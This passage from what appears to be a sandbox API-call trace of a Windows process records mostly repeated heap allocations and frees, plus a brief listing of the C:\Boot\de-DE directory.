hHeap=0x640000, dwFlags=0x0, lpMem=0x310a230 | out: hHeap=0x640000) returned 1 [0266.196] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31156f0 | out: hHeap=0x640000) returned 1 [0266.197] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.197] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.197] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0266.197] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.197] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.197] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0266.197] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0266.197] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0266.197] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.197] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7029f0 | out: hHeap=0x640000) returned 1 [0266.197] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7029f0 [0266.197] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.197] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.197] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.197] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.197] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.197] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.198] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.198] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.198] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.198] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.198] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.198] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.198] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.198] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.198] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.198] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.198] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.198] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.198] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.198] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.198] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.198] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.198] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.198] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.198] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.198] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.198] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.198] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0266.198] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.198] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.198] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.198] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.199] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.199] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.199] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.199] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.199] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.199] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.199] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.199] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.199] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.199] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.199] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.199] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.199] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.199] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.199] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.199] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.199] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.199] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.199] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.199] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.199] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.199] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.200] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.200] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.200] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.200] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.200] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.200] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.200] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.200] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.200] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.200] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.200] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.200] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.200] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.200] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.200] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.200] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.200] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.200] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.200] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.200] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.200] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.200] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.200] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.200] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.200] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.200] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.200] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.200] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.201] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.201] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.201] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.201] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.201] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.201] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.201] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.201] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.201] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.201] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.201] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.201] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.201] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.201] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.201] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.201] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.201] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.201] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.201] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.201] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.201] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.201] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0266.201] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.201] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.201] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.201] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.201] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.201] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.202] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.202] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.202] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.202] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.202] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.202] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.202] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.202] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.202] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.202] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.202] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.202] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.202] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.202] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.202] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.202] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.202] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.202] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.202] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.202] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.202] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.202] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.202] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.202] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.202] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.203] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.203] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.203] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.203] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.203] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.203] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.203] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.203] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.203] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.203] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.203] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.203] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.203] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.203] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.203] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.203] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.203] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.203] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.203] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.203] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.203] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.203] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.203] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.203] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.203] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.203] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.203] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.203] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.204] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.204] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.204] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.204] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.204] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.204] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.204] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.204] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.204] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.204] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.204] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.204] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.204] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.204] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.204] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.204] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.204] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.204] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.204] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.204] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.204] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.204] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.204] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.204] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.204] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.204] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.205] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.205] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.205] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.205] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.205] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.205] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.205] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.205] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.205] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.205] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.205] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.205] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.205] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.205] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.205] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.205] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.205] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.205] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.205] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.205] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.205] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.205] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.205] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.205] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.205] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.205] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.206] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.206] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.206] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.206] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.206] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.206] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.206] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.206] RtlAllocateHeap 